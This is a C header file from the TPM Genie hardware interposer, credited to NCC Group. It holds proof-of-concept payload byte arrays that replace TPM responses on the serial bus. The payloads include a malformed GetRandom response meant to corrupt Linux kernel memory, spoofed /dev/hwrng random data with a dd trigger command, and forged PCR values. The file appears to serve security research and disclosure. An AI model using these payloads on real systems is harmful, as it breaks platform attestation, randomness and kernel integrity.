/*
 * TPM Command Response Payload Structures
 * 
 * This file contains various byte arrays that represent either correct 
 * or malformed TPM command and response packets. TPM Genie will replace
 * the traffic on the serial bus with the following structures, if it is
 * in the correct mode of operation.
 * 
 * Author: Jeremy Boone, NCC Group
 * Date  : November 10, 2017
 */

#ifndef __PAYLOADS_H_
#define __PAYLOADS_H_

#include "interposer.h"

/*
 * Payload to trigger memory corruption when the Linux Kernel unmarshals the 
 * response for a TPM_ORD_GetRandom command.
 */
byte random_crash_poc_hdr[10] = {
  0x00,0xC4,           // tag
  0x00,0x00,0x00,0x4E, // len (78 bytes, hdr=10, body=64)
  0x00,0x00,0x00,0x00, // return code
};
byte random_crash_poc_bdy[] = {
   // rng data len
  0xFF,0xFF,0xFF,0xFF,
  // 64 bytes of data, since /dev/hwrng reads that much at a time
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
};

/*
 * Payload to demonstrate that we can control the /dev/hwrng character device.
 * Trigger with:
 *    sudo dd if=/dev/hwrng count=1 bs=16 status=none | hexdump
 */
byte random_poc_hdr[10] = {
  0x00,0xC4,           // tag
  0x00,0x00,0x00,0x1E, // len (30 bytes, hdr=10, body=20)
  0x00,0x00,0x00,0x00, // return code
};
byte random_poc_bdy[] = {
  // rng data len
  0x00, 0x00, 0x00, 0x10,
  // non-random looking data
  0xAA, 0xAA, 0xAA, 0xAA,
  0xAA, 0xAA, 0xAA, 0xAA,
  0xAA, 0xAA, 0xAA, 0xAA,
  0xAA, 0xAA, 0xAA, 0xAA,
  // Padding in case the request asks for more than 16 bytes
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

/*
 * Payload to demonstrate that we can control the PCR values on the TPM.
 */
byte pcr_poc_hdr[10] = {
  0x00,0xC4,           // tag
  0x00,0x00,0x00,0x1E, // len (30 bytes, hdr=10, body=20)
  0x00,0x00,0x00,0x00, // return code
};

byte pcr_poc_bdy[] = {
  0xDE,0xAD,0xCA,0xFE, // PCR Register
  0xDE,0xAD,0xCA,0xFE,
  0xDE,0xAD,0xCA,0xFE,
  0xDE,0xAD,0xCA,0xFE,
  0xDE,0xAD,0xCA,0xFE

};

#endif // __PAYLOADS_H_

